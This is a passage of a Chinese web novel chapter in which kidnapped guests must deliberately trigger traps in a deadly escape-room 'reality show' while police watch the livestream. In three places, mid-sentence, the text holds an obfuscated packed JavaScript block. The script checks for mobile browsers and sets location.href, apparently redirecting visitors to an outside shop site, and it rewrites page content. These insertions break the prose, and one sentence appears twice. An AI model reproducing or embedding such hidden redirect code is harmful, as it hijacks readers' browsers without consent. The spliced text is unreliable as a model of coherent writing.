墙角处静默许久的音响突然发出炸响,从中传出一连串令人悚然一惊的诡异铃声,以及追梦人的声音。 “恭喜你们成功指认第一个机关触发点,解锁了隐藏关卡「机关对对碰」!” 7. Day 1「07」 八名嘉宾围站在博古架附近,林志德虽然面色恍惚惨白,但他强打起精神,被文自宇和林安宁一左一右架着,也勉强站住了。 “艹,我真是服了!” 庞洪感觉自己真是心累到爆炸了,连带着身体也累得不行,他拉过博古架边上一个摆花瓶的木脚凳,把花瓶挪到地上,自己一屁股坐了上去,“什么鬼机关对对碰,又搞新花样?我们道具都没找全呢!” 童无垠对这个关卡有种不妙的预感。 她没忘记追梦人说的,「机关对对碰」是一个隐藏关卡,触发前提还是因为他们指认了机关点,因此隐藏关卡的存在大概率暗示了这房间里机关数量绝对不止一两个,甚至可能大部分都响那青铜摆件似的,藏得很深不明显,所以才会需要“指认”。 不仅如此,追梦人之前制定的各种规则,明里暗里都在挑拨嘉宾间的关系、制造对立。这个所谓的隐藏关卡很难成为一个例外。 “嘿嘿,别急呀,这隐藏关卡可是件好事,有奖励的哟。”追梦人的声音伴着“滋滋”电音传来,听着并不明晰。 他嘴上说着是好事,可语气却莫名有种看热闹不嫌事大的幸灾乐祸。 “那么,规则如下,请看投影!” 墙面上投影内容被新的文字取代: 【隐藏关卡:机关对对碰】 【关卡描述】:每一轮20分钟,期间抽选3人作为「对对碰目标」并开始倒计时,「对对碰目标」的接驳环会亮起红光。 若倒计时结束时仍无「对对碰目标」被机关命中(造成出血),所有嘉宾熄灭1条灯格; 若倒计时结束或有「对对碰目标」被击中,则立刻开启新一轮且重新抽选「对对碰目标」。 【关卡时长】:1小时; 【关卡奖励】:房间内一共有10个机关,在关卡期间内每摧毁2个机关,摧毁者可随机获得一张功能卡; 呵呵,果然不出所料。 童无垠内心一片冰冷,暗骂追梦人还是玩得那么‘脏’,给的奖励和惩罚力度完全不成正比。 高清如站在莎露身后,声音有种不堪摧折的疲惫:“被机关命中?呵呵,原来‘对对碰’指的是人和机关碰在一起吗……” 莎露也一脸厌恶,“就恨不得把机关往我们身上招呼呗。还美名其曰‘命中’,我呸!”,她指着林志德,越发怒不可遏,“看看他!md,手掌都断了半截!不可逆的残疾,这是开玩笑的吗?!” “规则不公平。”常真一突然开口,明眼人都知道他是在对追梦人说话。 “至少会进行三轮游戏,如果三轮都没有‘目标’被机关所伤,所有人都会被熄灭3条灯格直接死亡。但与危及生命的严重惩罚相对地,是微薄的奖励:不仅只有一张功能卡,而且还最多只有5人能获得。” 他嗓音冰冷,甚至暗含嘲讽,“你不会设计规则就别设计。” “哟吼,什么意思?顶嘴?质疑我?!” 追梦人气笑了,胸口一阵起伏,“我的规则没有任何问题,你管我怎么设计!想不被熄灯,那就自己想办法!” “等等,我有地方没搞明白…….”庞洪有点着急,“导演大人,先别开始啊!” ……先别开始?这黄杂毛以为自己在和谁说话。开玩笑,他追梦人最爱干的,就是嘉宾不希望他干的事。 追梦人桀桀冷笑着,一声令下: “隐藏关卡「机关对对碰」,第一轮倒计时开始!” 投影上出现了硕大的时间倒计时:20:00,19:59,19:58…… 时间一分一秒地开始流逝。 而童无垠、林志德、庞洪的接驳环亮起了红灯。他们三人就是本轮的「对对碰目标」。 “艹,我真是!”庞洪忍不住啐了一口,焦急地左看右看不知问谁,又不愿意问常真一,他跟那家伙已经结仇了! 抓耳挠腮间突然想起身边不是就有个现成的、水灵灵的著名推理天才来着,顿时思路打开,觉得自己是时候放下面子和包袱‘不耻下问’了。 毕竟向NL请教问题也不算丢脸不是...... 庞洪蹭到童无垠身边,有些别扭地问:“那个,到底是要让目标被机关’命中‘,还是’不命中‘啊?” “不命中会扣灯格,命中了又刷新轮次,一直刷下去岂不是没完没了了?” 这问得让童无垠有些刮目相看,她正想和其他嘉宾商量这事,也就借坡下驴,接机朝着众人道:“没错,所以我们要尽可能地控制每一轮的时间,倒计时快结束时再让目标被机关命中。这样就只需要进行三轮游戏。” “规则只说机关要‘命中’并且造成出血,那擦伤、划伤也算,如果能提前识别机关,然后小心触发,就能以最小的代价赢下这个关卡。” 莎露嗤笑:“你说的简单。怎么提前识别机关?又怎么保证触发后只擦伤、划伤?”,她看着童无垠脖子上的红光,有些挑衅地道,“这轮你是对对碰目标,既然你这么说,给我们打打样呗?” 童无垠其实生就了一张绝美非凡的面庞。眉似远黛,鼻梁高挺翘立,眼眸中蕴着璀然的星芒。 然而,但凡与她有过往来交谈之人,对她最为深刻的印象绝非那令人惊艳的美貌,而是她在言行举止之间所展现出的智慧与那份恰到好处的圆滑。感受到莎露莫名的敌意,童无垠缓缓抬起眼眸,那目光如寒潭般沉静而深邃,带着一种锋芒锐敛的压迫感。 她就那样静静地看着,没有立刻接话,沉默如巨石,压在莎露心头,让她不由自主地感到一阵不安和紧张。 莎露撇嘴,语气不复之前强硬:“……你什么意思,不愿意就直说,别耽误时间。我们还要去找东西。” 童无垠清浅一笑,只是笑意未达眼底。 “我们知道一个机关的位置,这一轮,我可以来。” 常真一’怼完‘追梦人后,就一直站在博古架前背对着众人观察,闻言回过头看了眼童无垠,目光沉沉。 童无垠继续扭头对林志德和庞洪——本轮另外两个「对对碰目标」说到:“你们这轮千万注意别被机关伤到,如果被伤到倒计时提前重置,那轮次就不好控制了。” 林志德开始有点站不住了,闻言有些无奈:“没人想被伤到。但这机关藏得隐蔽,不是小心点就一定能规避的。” “确实如此。”童无垠没有因为这番话有任何动摇,她早已想到这点。 “不想被机关伤到,最稳妥的方式就是你们二人不要参与任何搜索,或者只搜索排除过机关的地方。” 庞洪和林志德对视一眼,两人下意识反应都是不赞同与抵触,不参与搜索就没有道具!但林志德转念一想,自己身体实在撑不住,趁此机会去餐桌处歇会、吃点东西恢复体力也不是不行,便也默认了安排。 至于庞洪,他眼珠子滴溜溜地转,显然还是有自己的想法。 童无垠注意到这点,也没有再多做劝说。这个隐藏关卡中最为险恶的用心还没有展露,希望不会走到那一步吧…… 林志德被扶着坐到餐桌边。 他脸色已经很差了,右手生生断作两截竟然还能这般冷静没有崩溃,也是件令人不可思议的事。更何况他的身份描述还是‘棋牌大神’,手掌断了应该会有影响。 除了林志德和仍昏迷的张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13671528|144188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木,其余人分作四个方向再次展开了探索:庞洪自己行动、莎露和高清如朝投影所在的那片墙走去、林安宁和文自宇继续在博古架一片儿找。 除了林志德以及尚处于昏迷状态的张木之外,其余之人兵分四路再度展开探索。庞洪独自一人行动;莎露与高清如则一同朝着投影所在的那片墙缓缓走去;林安宁和文自宇继续在博古架那一片区域仔细寻找,不放过任何一个可能隐藏线索的角落。 而童无垠和常真一,还是计划先找到之前触发的飞镖机关,因此朝着原来屏风的位置去了。 在众人分开之际,童无垠注意到林安宁将青铜狮子摆件给砸碎了,看来他们那边是决定将林志德触发的机关,交给她得分了? 童无垠耸耸肩,不予置评,步入昏暗之中。 …… 屏风静静地矗立在黑暗里,一如之前。 一侧牢牢嵌入墙体难以挪动分毫,只能从另半侧微微移动或折叠。 它的框架由坚硬的檀木打造而成,木质细腻光滑,色泽深沉如夜,纹理蜿蜒曲折。木料的边缘有一层金属包边,上面镶嵌着精致的铜饰。 屏风的面则是由丝绸精心编织而成,因年代久远丝质失了光泽,但无损其上绣着图纹的精美,针脚排布细密、紧凑有致,可以想象到刺绣工匠曾投入的心血和技艺之精湛。 只是实在可惜,连时光都未能打败的珍美之物,如今却因一条手指长的破口而惨遭损毁。 而这破口是飞镖从屏风后射出时造成的。 破口高度与视线基本平齐,常真一略俯下身子,顺着破口的斜度将目光锁定在屏风后空间的某一处角落。 他绕到屏风后,那里有一张茶几和三个沙发凳围成的小休息区,沙发抵靠着熟悉的青石砖墙。 一个小小的、几乎难以察觉的孔洞卡在石缝之间。 常真一:“就是这个。” 童无垠仍站在原地,距屏风10公分处没有贸然移动,“还需要搞清楚机关怎么触发的,之前没碰到屏风,飞镖就冲我们来了。” 常真一拿出之前被划烂的任务卡,用它在孔洞前来回挥舞,没有任何事情发生。 “应该不是光线或感应控制,也不是声音控制。当时我们走到屏风前飞镖瞄锝很准,所以不太可能时声控或定时。” 一个相同的结论在他们的脑海中浮现,他和童无垠同时出声:“是物理触发。” 语毕,两人不约而同地停顿了一下。 童无垠挥去心中然蔓延开来的微妙感觉,脑中又灵光一闪,“是地板!” 没记错的话当时就是站在屏风破口处,正前方隔着三块地板的位置被飞镖突脸。 “嘿,可以叫你真一吗?”童无垠突然问。 “……” 不回话?那就当默认了。 “真一,你离机关洞口远一点,我要触发试试看。” “你找到了?”常真一回话了。声音听上去还是一如既往的清凌淡然,似乎对童无垠叫他’真一‘没什么特别的反应,“我走开了,你试吧。注意安全。” 童无垠嘴角上扬,“OK,没问题。” 她蹲下身,确保飞镖就算射出也不会击中她,同时脚步向着之前记忆中被攻击的位置挪步而去。 只听得“咻——!”的一声,飞镖瞬间从黑暗中飞出,轨迹快得让人无法捕捉,只在空气中留下一道模糊的残影。 “是这儿!”童无垠眼中闪过一丝小得意,但又很快归于沉静。 之后就只要掐点让机关‘擦肩而过’就可以了。 当然,前提是,另外两个「对对碰目标」那儿不要出现意外。 8. Day 1「08」 寒夜沉沉,雨丝随风翻卷飘零。 刘思睿懒洋洋地窝在沙发里,隔着窗户和街道边凌凌灯火望出去,只觉那雨幕仿佛一张蛛丝织就的巨大罗网—— 映着漆黑天穹,铺天盖地将人给笼住了。 “这阴雨天,就该舒舒服服地躺着,再来杯热茶配好剧。惬意呀。”他捧着手中热气腾腾的柠檬红茶,嗦了口,舒服地喟叹道。 美好的休息日之夜,屋内暖气开得足,伴随雨声敲打窗棱淅沥,刘思睿眼皮开始打颤,睡意上涌。 意识沉沉浮浮。 “叮哒哒——我的爱,噢噢爱~耶耶~叮哒哒——” 一连串的手机铃声突然响起,搅乱了他静谧温暖的香甜梦境。 铃声响了许久没有人接,被自动挂断,紧接着下一个又打进来了,电话与电话之前几乎是无缝衔接。 周而复始,就这样连续打进来好几个电话,铃声响个不停。 来电的人应是有急事要说,否则不会在连续被拒接后,还这么契而不舍——电话一个接一个,铃声持续不断,有种就是要‘打到你接为止’的执拗劲儿。 刘思睿终于还是被这动静硬生生给吵醒,他揉着眼睛,不情不愿地摁亮手机屏幕。 上面显示今日3月15号晚上20:50分,有4个未接来电,和17条未读短信。 什么情况?刘思睿坐起身,感觉事情不简单。 第5个电话就是在这时候打进来的,他迅速按下接听键,另一头传来案侦大队同组成员曲婷的声音,她语气急切中夹杂着一丝崩溃: “谢天谢地,你终于接了!大睿,马上来队里!” 刘思睿捞起放在沙发扶手上的衣裤和外套,一边举着电话,一边有些慌张地提着裤子把脚往里伸,“这是咋了?” “出事了。”曲婷叹了口气,“武队让拉的紧急会议,你去了就知道了。我还有其他人要通知,就先挂……” “诶诶诶,别!好姐姐,简单跟我说下是个什么事吧,不然心里抓挠得很,没底呀!” “你真是,好吧,说起来这事儿和你还有些关系……” 刘思睿刚穿上外套,正扣扣子,闻言一顿,“和我有关系,啥意思?” 曲婷语速极快地道:“还记得前两天来报案的经纪人吗?就女歌手失踪那个。” “记得,他报案当天我们就做了周边走访和监控调查,但没发现疑点,再加上没有确切证据表明是失踪,这个案子就给先暂时搁置了。” “嗯……”曲婷听上去似乎若有所思,突然反问,“真的没有找到一点疑点吗?那个经纪人不是还提供了个‘真人秀邀约’的线索?” 外头还在下着雨,一觉醒来不仅没有停反而还下得更大了,纤细雨丝变作珠帘,呈现瓢泼之势。 刘思睿从鞋柜翻出雨伞拿在手里,心中琢磨曲婷是怎么知道真人秀这件事的,她负责案侦大队内部的资源协调和后勤安排,一般不会管具体的案件。 更何况当天她也不在场啊……是有谁跟她提起的?为什么? 难道,不会吧…… 刘思睿离开屋子、关上大门,口中有些迟疑,“是有这回事。为这我们也问了以前跟女歌手有过合作的几家,他们都说没有真人秀企划,近期也没有联系过她。” “线索到这儿就彻底断了。”他补充道。 原本他对调查结论相当笃定,但曲婷也不会无缘无故提起这件事,刘思睿喃喃道:“你说的出事了,不会就和这个有关吧?” 曲婷给了他肯定的回复,“没错,算你反应快。” “她经纪人说的真人秀,找到了。” …… 案侦大队三楼301会议室。 刘思睿推门进去的时候,九点刚过一分钟,已经有几十个人在里面,基本都是案侦大队的内部人员。 走入会议室,里头的灯全部大开着,白炽灯亮得吓人,仿佛所有秘密在这里都无所遁形。刘思睿的到来没有引起多少人的注意—— 人声吵嚷,一场场激烈的讨论似乎正在进行中,大家都忙着发言提出自己的想法,间或拿着笔在本子上写写画画,像在做什么记录。 “能看出这里是哪儿吗?” “太昏暗了,也没有露出室外的景象,不好判断啊……” “能确认下其他人的身份吗?靠,这么多人被绑,就一个人的家属来报失踪?” “多人群体绑架案,其中还有公众人物。武队,我看这事儿闹不好要大条了,现在实时观看人数已经超过15万人了。” 刘思睿寻了个边缘的位置坐下,听到这里,实在没忍住插了话:“观看人数?” 不开口也罢,这一下所有人的视线都集中到了他身上。 表情都是一副‘你在问什么愚蠢问题’的无语,搞得刘思睿瞬间红透了脸颊耳廓,又一阵委屈。 他才来,什么都不知道,问问有错吗? “行了,是新人,大家多担待些。”案件侦查大队的队长武江替刘思睿解了围。 刘思睿这才注意到武江站在会议室中央的投影幕布前,身后正播放着画面昏暗的视频,他离得远看不清细节,但能瞧见视频右上角的「Live」字样。 以及近乎跳跃式增长着的一串数字:前一秒还是15.1w,这会儿就变成了15.9w。 这串数字不会就是刚刚他们提到的‘观看人数’吧,天,他该闭嘴多观察下再开口的。这下可算是在一群前辈面前丢了大脸,显得他多沉不住气、缺乏自主推理能力。 正内耗着,就听武江在跟众人介绍他:“当时高清如的经纪人王柏来报案,就是他接的。” 说完武江扭过头,刘思睿顺着他的视线,竟看见了王柏——那‘失踪’女歌手的经纪人。 他怎么在这里? 像是看出了他的疑惑,武江解释道:“不久前,王经纪人给我打电话,说他找到高清如了。” 找到了?! 刘思睿环视一圈会议室内的众人,个个面部肌肉都透着焦灼,甚至有几个讨论着产生了意见分歧,争吵音量越来越大。 这看着也不像是找到了啊...... 他有些不确定,“找到了?是还有别的问题吗?” “惊悚主题的真人秀。” “啊?” “人是‘找到了’,但不在这里,而是在真人秀直播里。” “……啊?啊!” 武江神色凝重,言语简略地快速概括了重点: “今晚8:40分,各直播平台被黑客入侵,强制上架了一段直播。直播内容涉及违法犯罪和非法囚禁,且因为技术问题无法下架或屏蔽,因此平台方第一时间将情况上报给了案侦,也就是我们。” “从直播中得知,有九名市民被不知名人士绑架、囚禁于一间密室,并且他们被迫持续暴露在危险境况之中。直播开启之前应该还发生过些事情,我们看到时,九人当中已有两人负伤,其中一人重伤昏迷、一人严重伤残。如果继续放任,这些无辜市民的生命安全将无法得到保证。” 听到此处,刘思睿还有什么不明白的,可他仍感难以置信。 “怎么会这样,失踪竟然真的和那什么真人秀有关…….到底是谁干的?!” “是啊。第一个发现这件事的是王柏,他看到直播认出了高清如,就立马给我打了电话。”说到这儿,武江顿了顿才又道,“王柏的怀疑没错,高清如确实是遭到了绑架。” “我们两天前就接到了报案却没能阻止,等到直播出来才意识到有足足九人被绑架了!九人啊……这起事件的严重性和恶劣程度,比你想象的还要高。更别说这才直播了二十来分钟,就已经被疯狂传播、发酵。” 当时如果能调查出些头绪来,不管是绑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13671529|144188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 架、直播还是有人受伤……. 是不是这一切就有机会被阻止? 难以言喻的不安、杂乱的思绪在脑海中缠绕冲撞,刘思睿感到胸口沉闷得如同被一块巨石堵住,难受得紧。 武江突然拍了拍手,清脆的击掌声响起,几乎是立刻,室内愈演愈烈的争论声就戛然而止了。 所有人不论前一刻在做什么,此时目光都齐刷刷地投向他。 在众人的注视下,武江脊背板直,目光坚定地扫视着全场,沉稳地开口。 “全员到齐。我宣布,现因多人绑架事件事态紧急、社会影响重大且恶劣,特设立「0315真人秀绑架直播案件」特别调查小组,即刻成立!” 众人,包括刘思睿齐声回答:“是!” 一直关注着直播画面的专员突然高声报告:“武队!又有人受伤,是个女生,不过应该只是轻伤。” 投影正放映着直播画面,摄像设备大概率是有夜视功能、镜头缩放功能的监控摄像头,因为每次镜头来回切换的拍摄切入点位置,就那几个没怎么变过。 不仅如此,画面还怪糊的,这也是到现在都没能识别出,除高清如以外另八人身份的主要原因。 突然镜头骤然切换,惊险的一幕随之呈现。 一名长直黑发的美貌女生出现在镜头前,特写给到了她的肩头——激射而出的飞镖紧贴‘擦过’,划破皮肉,鲜血顷刻之间就浸湿了衣物。 “怎么又有人受伤!诶,等等,难得的面部特写,快和系统数据做比对,看能不能确认她身份!” “OK!信息组负责身份确认,其他人不要慌,她应该是在踩点完成犯人发布的任务。” “噢对,现在刚好是21:04分,不,跳到21:05了。牛逼啊!20:45关卡开始,简直完美卡点,机关对对碰的第一轮算是顺利通过了!” 刘思睿错过了不少直播内容,同僚说的‘任务’和‘机关对对碰’指的是什么他全然不知晓,但有了前车之鉴,这次他没有贸然开口提问,而是掏出手机自行搜索直播录屏,二倍速观看。 越看心中震惊越盛,太离谱了。 直播内容是从被称为‘导演’的男人宣读‘隐藏关卡-机关对对碰’的规则开始的,这所谓的关卡竟然要求被绑架的人主动往危险机关上凑,想办法让自己受伤。 这是人能干出来的事? 武队正忙,还没来得及给他分配任务跟合作同僚,但刘思睿等不及了,他想尽快加入调查。 随便做点什么也好,只要能将变态犯人绳之以法。 刚巧刘思睿是个自来熟,不仅如此,还是一个正处于愤怒与一腔热血沸腾的自来熟。 什么社交距离,不好意思开口的情绪都被抛之脑后。 他拖着凳子凑近身边戴黑框眼镜、长得文弱白净却留着山羊胡的年轻男人,那人正一边看直播、一边往笔记本上记录关键信息。 刘思睿同他一起观察直播画面,借机向他搭话: “我觉得这个黑长发女生很聪明,第一轮顺利通过,倒计时20分钟也重置,且没有人的灯格被熄灭,说明擦伤也属于’命中‘。之后只要保持这个战术,这个关卡撑过去不是问题。” 山羊胡被他突然出声吓了一跳,不过下意识还是接了话,“嗯,希望如此吧。” 刘思睿嘶声疑惑道:“倒是这个男生,为什么要把飞镖机关的孔洞给堵上?不打算下轮继续用吗.......?” 两人就这样一起观看直播,间或讨论一二。 可突然,他俩的脸色齐刷刷地发生了变化,变得极为难看。 才刷新不久的倒计时,这才没过几分钟,竟又再度刷新了?! 发生什么了?镜头呢,快切过去看看啊...... 是谁,这么快又被机关命中了? 现在是否还......安好? 9. Day 1「09」 第二轮开始,倒计时和接驳环的红光都重置了。 三条灯格都亮着,无人被‘扣分’。 碍于众人间分散地较远,童无垠目之所及下能知道的信息只有:常真一是第二轮的「对对碰目标」之一;她自己不是。 童无垠左肩被破开了条口子,算不上什么重伤,只是肩部被渗出的血打湿了大片布料,腥红湿润的血色,视觉冲击力有些大。 此外还会影响左臂抬手、发力,不过左手非惯用手,倒也还好。 那会儿常真一守在她右侧,神色凛然,警惕着若飞镖路径估算错误,还能第一时间拉童无垠躲开。好在有惊无险,他们的估算很准确,这道‘真一防线’没有派上用场就顺利通过了第一轮。 “谢谢你。”童无垠扯开右手衣袖的布料,一分为二,将这两段布料当作一条绳子的两头,在伤口上缠几圈又打了个结。 她轻叹一声,“不是第一次同你说谢谢了,在机关这里。” 常真一松了松脊背绷着的那股劲,抬手轻触自己脖子上散发红光的接驳环,有些玩味道:“没事,这下轮到你保护我,该我说谢谢了。” 童无垠眼神认真:“没问题,应该的。” 飞镖机关的孔洞还愣怔怔地开在墙上,活像石头缝里长出了颗大黑眼珠子,看久了还是有点瘆得慌。 连发三枚镖了,不晓得‘肚子里’还有存货没有。 第一轮时童无垠就顾虑过这点。 如果飞镖用尽这个机关就不能拿来‘重复利用’刷轮次了。 这事儿可不好验证。 类同飞镖机关版‘薛定谔的猫’:在触发机关确认之前,飞镖处于一种既有可能已用尽,也可能还有剩的状态,无法提前得到结论。 就算触发了后发现确有第四枚飞镖,问题也不会得到解决,只会顺延——你怎么知道还有没有下一枚? 因此机关只有放到轮次快结束时再触发才能收益最大化,在此之前他们需要去寻找道具,顺便物色备用的机关。 “滴答,滴答……” 似曾相识的水滴声,众人还被绑着时童无垠曾听到过,现在又出现了? 常真一眉间微拢:“你听到了吗?” “嗯,是水滴声,可哪儿来的水?有点不对劲……” “听上去,就在附近。”常真一收敛气息,将呼吸放缓至几不可闻,侧耳细听水滴声的来源。 童无垠也停下所有动作,配合他。 在近乎极致的安静中,心跳声如低沉的鼓点,一下一下,清晰可闻。就在这时,一丝极其细微的声音悄然闯入。 “滴答,滴答,滴答答——” 听上去好像是从屏风后,青石墙那儿传来的。 不会吧? 常真一抬手摸去,石墙大部分地方都是干燥的,但却有一处,入手一片湿濡。 凑近闻闻,没有异味,应该就是清水。 童无垠顺着微微反光的水渍,一路找上去,找着了源头—— 竟是从飞镖机关的发射孔洞中滴落的。 “最后一次发射飞镖后我看过,那时还没有水”常真一将手指放在孔洞正下方,感受水流的变化,“流速在变快。” 还不是一般的快,这片刻功夫,就从水滴连成了一条潺潺细流,眼看着有愈演愈烈的趋势。 童无垠没吭声,她快步走回屏风前,踩上机关木板。 什么也没发生。 果然,卑鄙的追梦人没打算给他们留反复刷分的“大bug”,飞镖机关最多只能触发三次,现在已经废了。 也不算多可惜,已经被他们‘薅了羊毛’通过第一轮,且还没出幺蛾子,已经远超预期了。 不过要废机关,‘废’就完事儿了,竟然放水?总感觉不会就这么简单…… 但一时没什么头绪。 童无垠:“真一,机关没用了,先把孔洞堵上吧,多少还算半张功能卡。” 打从一开始,童无垠就没想要这个机关的分,当时不是常真一挡下飞镖的话,她早当场血溅三尺了,哪还有后面这许多。 按照他们俩的约定,飞镖机关的分合该是他的,亲兄弟都要明算帐,更别说俩人并不熟悉,只是才合作不久。 该遵守的要遵守,一切才能长久。 屏风旁是由沙发茶几组成的休息区,常真一从茶几上寻到个细长的圆柱型笔筒,大小刚好能塞进孔洞里。 拿起笔筒晃了晃,发出“笃笃”几声响,里头还装着笔和些其他零碎,常真一将它们都倾倒在茶几台面上。 一把古铜色的钥匙赫然在其中。 常真一略看了两眼,将其收入怀中,转而拿着笔筒回到机关孔洞旁。 手指紧紧握住笔筒前端,动作沉稳果断,瞬间发力,随着响亮的一声“咔喳”,木屑蹦飞不少。 孔洞暂时被笔筒堵住了。 童无垠探头观察:“……这算是破坏了吗?” 常真一:“没有吧,只是堵住了。” 他接着弯腰抄起一块因年代久远而脱落的青石墙碎块,清凌凌地瞟了她一眼。 嗯……? 童无垠觉得肯定是自己脑补过了头,怎么感觉他这一眼,有几分‘我就知道你会这么问,而我早有准备‘的劲儿? 没等她细品,就见常真一拿着手里的石头块,对准笔筒连带着机关孔洞,接连好几下猛击。 “哐哐”几下,简直声势浩大。 童无垠感觉自己的心脏都快要跳出嗓子眼了,同时心底暗暗惊诧于他力量之大。 这回不是蹦得木屑到处飞,而是直接全员木屑化了。 碎成渣渣的木料将孔洞堵得严严实实。 嗯,板上钉钉了—— 这要都不算摧毁了,什么算? 童无垠远远看了眼投影上的倒计时,这一通忙活才过去不到5分钟,还剩15分钟。 是时候继续搜索了。 休息区那一片还没来得及认真找过,两人一寸寸摸着,不放过任何细节。 童无垠:“我还差一张任务卡,顺带找下一个可以只造成轻伤的机关。不过这轮你是‘目标’,一定小心些,注意安全。” 常真一拉开沙发垫子的拉链,探手进棉花里摸索,闻言“嗯”了一声。 他又道:“其实听到关卡规则时,我最担心的不是目标受伤,而是他们都呆在原地不动、不犯险。如果几轮倒计时结束都没有目标被机关所伤,触发惩罚熄灭灯格,我怕有人会着急。” 童无垠动作一顿,常真一提到的正是她对隐藏关卡,掩埋最深的忧虑。 她手探到了沙发底下,发现似乎有什么贴在底板上,一边使劲儿试图将东西扣下来,一边回应道: “所以要控制轮次数,尽可能少的轮次才能降低变数。轮次越多,说明提前受伤的‘目标’越多,容易加剧成为目标的人心中的恐惧。” “如果真发展成这样,‘对对碰目标’和‘非目标’之间的利益关系就不再一致,而是冲突。‘目标’可能会想着苟住,让下一轮的人受伤也行……而’非目标‘的人们,想要的就很纯粹了,就是不被惩罚、不熄灯格。” 说话间,童无垠成功扣下那东西,她拿出来一看,正是急需的任务卡。 【任务卡】 【结算时间:真人秀第二日22:00】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13671530|144188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>【任务内容:公布第二日游戏规则后,秘密预测成功谁会是第一】 很好,不谈任务具体内容如何。 至少追梦人提到的道具三件套,’钥匙、功能卡、任务卡’,她全都有了。 收起任务卡,赶巧常真一还在另一边找道具,不在身侧,因而童无垠也没有特意‘通知‘常真一她的发现。 开玩笑,合作既需要遵守承诺,也要给自己留点空间。什么个人收获都分享、都说?那叫汇报。 那头,常真一似乎也有发现,隔了好半晌才再次开口:“既然如此,当时为什么叫他们别参与任何搜索,不怕他们真去‘苟着’了?” 愣了片刻,童无垠很快反应过来,他是指之前她跟林志德和庞洪说的话。 确实,她有过这方面的担忧,但鱼和熊掌不可兼得—— 控制轮次需要‘目标’不提前受伤;而‘目标’不受伤最好的方法就是什么也不做,可这样会让全员遭受灯格熄灭的惩罚。 二者天然矛盾。 童无垠唇角轻轻扬起,却不见丝毫笑意:“因为其他人的行为不可控,我能信任的只有我自己可以做到的事情。” “……比如?” “比如,自己何时受伤、寻找可用的机关、不急着摧毁机关拿分。” 常真一不置可否:“自己受伤?你别忘了,关卡至少有三轮,就像这轮就必须有除你以外的其他人受伤。想赢,就必须影响、也必须依赖其他人的行为。” “……你说的对。”童无垠搜完了她这半片休息区,直起身子环顾四周,瞧见常真一的身影。 他正背对着她,聚精会神地翻看茶几上堆着一小沓书籍。 童无垠:“不过至少这轮,我还可以‘依赖’你。至于第三轮,就留到那时候再想吧。” 说完,她收回目光,假作没察觉常真一听到后,翻书动作一刹那的滞涩,继续向前搜。 然后就走到了房间的尽头。 拂开遮挡的帘子,一扇厚重的双开大门出现在眼前,左右两扇门上各有展臂宽,其上有青铜制把手。 而门把上竟没有锁。 ……难道?童无垠心中浮起一丝渺茫的希望,伸出手推了推。 结果当然是推不动。 童无垠没再继续尝试,退出几步打算再好好观察下大门全貌。 她有种强烈预感,大门处很可能有机关。 童无垠回头打算叫常真一来看,目光划过房间另一头时,猛然顿住。 投影幕布上鲜红的倒计时,本来还剩10分钟,现在竟突然刷新了! 有别的‘目标’碰见机关了,是谁。 …… 众人先后脚赶到时,莎露正双手颤抖地捂着脸庞,额角全是冷汗,跌坐在地,口中话语含混不清。 “脸……唔我的脸,呃啊啊啊啊啊啊!” 高清如泪流满面,手指音响的方向:“那里有机关,硫酸……硫酸喷出来了!怎么会是硫酸啊!!” 童无垠心头一震,硫酸? 可千万别是伤到脸了……虽这么想,可童无垠心里也清楚,莎露一直捂着脸,大概率是毁容了。 追梦人……卑鄙阴险无耻之辈! 文自宇和高清如,一左一右陪着莎露,安慰她说没关系的,可以先把手拿下来,免得手掌也被腐蚀。 眼见有和她关系比较好的人陪着,童无垠没有上前打搅。 这时候莎露也不会有心情听别人居高临下的怜悯,这不是她需要的东西。 愤怒在肺腑之中灼烧,童无垠目光森寒。 刚刚顺着高清如指的方向,她已经看出硫酸机关在哪儿了。 10. Day 1「10」 那‘罪魁祸首’音响就摆在墙角,竖长条的形状,内置两个扬声器、呈上下垂直排列。 不远处地面上有残留的硫酸,质地看上去像水,流动性强,应是稀硫酸。液体外圈呈喷溅状、正中央却少了一块儿——都被莎露的脸一力承担了去….. 如此大量的硫酸,不敢想伤势会有多严重,毁容都算轻的。 倘若不慎滴进了眼睛、口鼻或耳朵里,伤及这些功能性组织,那麻烦就大了。稀硫酸接触到皮肤会造成化学灼伤、水疱,严重情况下皮肤可能坏死。 而其他部位,以眼睛为例,若真流进去了,轻则角膜烧伤,重则失明。 必须尽快处理。 该死的,现在这破地方条件有限,要什么没什么。 唯一和医学挂点钩的‘医药博士’张木,现在还直挺挺地昏迷着,自顾不暇,天晓得什么时候能醒来,还醒不醒得来…… 常真一不知从哪里端出两个大杯子,一手一个,递给文自宇和高清如:“帮她先用水冲洗,注意不能冲到眼睛里去。” 